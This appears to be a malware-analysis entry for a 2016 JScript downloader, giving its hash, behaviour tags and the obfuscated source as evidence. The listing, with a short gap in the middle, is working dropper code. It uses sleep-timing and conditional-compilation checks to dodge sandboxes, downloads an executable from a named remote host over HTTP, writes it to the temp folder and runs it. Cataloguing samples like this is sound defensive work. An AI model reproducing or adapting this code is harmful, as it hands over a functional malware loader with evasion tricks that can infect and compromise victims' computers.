20160328_9b369b2d569bf45b746f52652734e5f2.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256a41916eb0a9f4d49f2db13c4140db921e73d05b75dbf28a0e3e5bb27f7f533f5
Evidence
1var Hvyyfbfylj = false;
2var Kzmag = "CreateObject";
3var Hssjfsjgi = function Gqtfsu() {return WScript[Kzmag]("WScript.Shell");}();
4var Uxwxbav = 123213;
5var Fjamse = "MSXML2.XMLHTTP";
6var Ekvdmroxsh = 2123213;
7var Pfano = 0;
8function Xqtnsqkx(Vfzumss){Hssjfsjgi["Run"](Vfzumss, Pfano, Pfano);};
9function Ngbmxcepa(){return Fjamse;};
10function Hjwzzlp(Puqvsscpd, Unkwijzd){return Puqvsscpd - Unkwijzd;};
11function Rdpkc(){return Kzmag;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Hvyyfbfylj = true;
15 @end
16@*/
17var Tjixflcgei = "";
18if (Hvyyfbfylj)
19{
20function Fowssvlyye(){return 22;};
21var Hxmkpnxh = 0; var Rinfaxh = 0;
22function Mjwhhzuly()
23{
24var Pmehlvghi = new this["Date"]();
25var Sthkq = Pmehlvghi["getUTCMilliseconds"]();
26WScript["Sleep"](Fowssvlyye());
27var Pmehlvghi = new this["Date"]();
28var Owyzearthg = Pmehlvghi["getUTCMilliseconds"]();
29WScript["Sleep"](Fowssvlyye());
30var Pmehlvghi = new this["Date"]();
31var Tnfgebz = Pmehlvghi["getUTCMilliseconds"]();
32var Hxmkpnxh = "Bmthg";
33Hxmkpnxh = Hjwzzlp(Owyzearthg, Sthkq);
34var Rinfaxh = "Lubnvhyz";
35Rinfaxh = Hjwzzlp(Tnfgebz, Owyzearthg);
36Tjixflcgei = "open";
37return Hjwzzlp(Hxmkpnxh, Rinfaxh);
38}
39var Gysixgz = false;
40var Fpbzcqoghc = false;
41for (var Jwmyl = Pfano; Jwmyl < Fowssvlyye() * 1; Jwmyl++){if (Mjwhhzuly() != Pfano){
42Gysixgz = true …
49:7… sixgz && Butpsev() && Fpbzcqoghc){
50function Kwhqqymb() {return Hssjfsjgi["ExpandEnvironmentStrings"]("%TEMP%/") + "8W4gBKeFRuYiUl.exe";};
51 Tdbrcrd = Ngbmxcepa();
52 Esumqoz = WScript[Kzmag](Tdbrcrd);
53 var Rdxqhpunm = 1;
54 while (Rdxqhpunm){
55try {
56Esumqoz[Tjixflcgei]("GET", "http://portal.ofar.com.br/o4psaf", false);
57Esumqoz["send"]();
58Vmptem = "Sleep";
59do {WScript[Vmptem](Fowssvlyye() * 11)} while (Esumqoz["readystate"] < 4 );
60Rdxqhpunm = Pfano;
61} catch(Guvxeba){Rdxqhpunm = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ilhrpieuyg(Tryzisgjim) {var Uwzqv = (1, 2, 3, 4, 5, Tryzisgjim); return Uwzqv;};
64Flxuztd = WScript[Rdpkc()]("ADODB.Stream");
65Tdbrcrd = Flxuztd;
66Tdbrcrd[Tjixflcgei]();
67Tdbrcrd["type"] = Ilhrpieuyg(1);
68Tdbrcrd["write"](Esumqoz["ResponseBody"]);
69Flxuztd["position"] = Ilhrpieuyg(Pfano);
70Tdbrcrd["SaveToFile"](Kwhqqymb(), Ilhrpieuyg(2) );
71Flxuztd["close"]();
72Xqtnsqkx(Kwhqqymb());
73}
74}
75